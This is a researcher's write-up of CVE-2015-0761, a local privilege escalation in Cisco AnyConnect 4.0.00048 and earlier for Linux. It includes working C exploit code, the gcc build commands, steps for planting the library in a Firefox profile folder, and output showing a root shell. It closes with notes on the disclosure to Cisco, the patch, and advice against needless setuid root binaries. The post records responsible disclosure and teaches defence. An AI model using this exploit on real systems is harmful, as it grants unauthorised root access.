Exploiting CVE-2015-0761 – LPE in Cisco AnyConnect client

Cisco AnyConnect 4.0.00048 and earlier for Linux have a Local Privilege Escalation vulnerability (CVE-2015-0761) due to the use of a setuid root binary that can be made to load a shared object from a user-writable location. This binary, vpnagentd, has an undocumented option, -verify_certs, which takes three additional parameters. I do not know what the option is supposed to be for, or what valid arguments to it would look like, but if it is invoked with:

./vpnagentd -verify_certs 1 1 1

then in certain circumstances it can be observed attempting to load libnssckbi.so from the user’s Firefox profile folder – for example (output from stracing):

open("/home/gmarkall/.mozilla/firefox/kuy2t5i9.default/libnssckbi.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

At this point the effective UID has already been set to the invoking user’s UID. Exploiting the vulnerability is therefore a case of creating a shared object that will suitably set the effective UID back and spawn a shell when it is loaded:

#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>

void f() {
  printf("Attempt to set euid\n");
  int err = setresuid(-1, 0, -1);
  printf("Setresuid result = %d\n", err);
  if (err) {
    return;
  }
  printf("Attempt to launch shell");
  char *tmp[] = {NULL};
  execv("/bin/sh", tmp);
}

Compiled with:

gcc -c -Wall -Werror -fpic exploit.c
gcc -shared -o libnssckbi.so -Wl,-init,f exploit.o

and copied to the Firefox profile folder, (e.g. /home/gmarkall/.mozilla/firefox/kuy2t5i9.default). Then when we invoke vpnagentd again:

$ ./vpnagentd -verify_certs 1 1 1
Attempt to set euid
Setresuid result = 0
Attempt to launch shell
$ whoami
root
$ id
uid=1000(gmarkall) gid=1000(gmarkall) euid=0(root) groups=...

Reliability

libnssckbi.so is not loaded in all circumstances – after some experimentation and reading of the source of NSS, I couldn’t work out exactly why it would or wouldn’t be loaded. My notes on this are:

  • I tested this on Ubuntu 14.04 LTS, using the distro packaged NSS library depended on by Firefox 31.
  • The SO was loaded when invoking vpnagentd with normal user accounts.
  • For users that are administrators (i.e. members of the sudo group), something different seems to occur and it does not load the SO.
  • After some invocations of vpnagentd, /usr/lib/firefox/libnssckbi.so gets registered in secmod.db in the Firefox profile folder. Once this happens, libnssckbi.so will never be loaded from the user’s profile folder, until secmod.db is deleted.

Disclosure and fix

I reported the issue to Cisco PSIRT who responded promptly acknowledging the issue. The vulnerability was fixed in the next release of AnyConnect for Linux (4.0.2052.0), which removed the setuid root bit from vpnagentd (and several other binaries in the software distribution).

I don’t recall exact timescales for the report and fix but I recall that the experience of reporting the vulnerability to Cisco was positive – this was the first time I’d reported a vulnerability and I was nervous about what the nature of the response might be. If I discovered another vulnerability in a Cisco product or service I’d happily report again.

Conclusions and thoughts

The existence of such a vulnerability and the fix for it implies at least a couple of points:

  • Avoid gratuitous use of setuid root! The fact that several binaries in the distribution were setuid root, and could have this setting removed implies that it was not really needed, and happened to be convenient for the implementation, but increases the risk of an LPE being present.
  • If a binary does need to run as root, beware of what third party libraries outside of your control may do – in this case, vpnagentd dynamically linked against NSS, which is provided by the system on which AnyConnect is installed, instead of as part of the AnyConnect distribution – perhaps it was unforeseen in part that loading a shared object from a user’s Firefox profile folder would occur because a different version / build tested by Cisco did not do this.

Leave a comment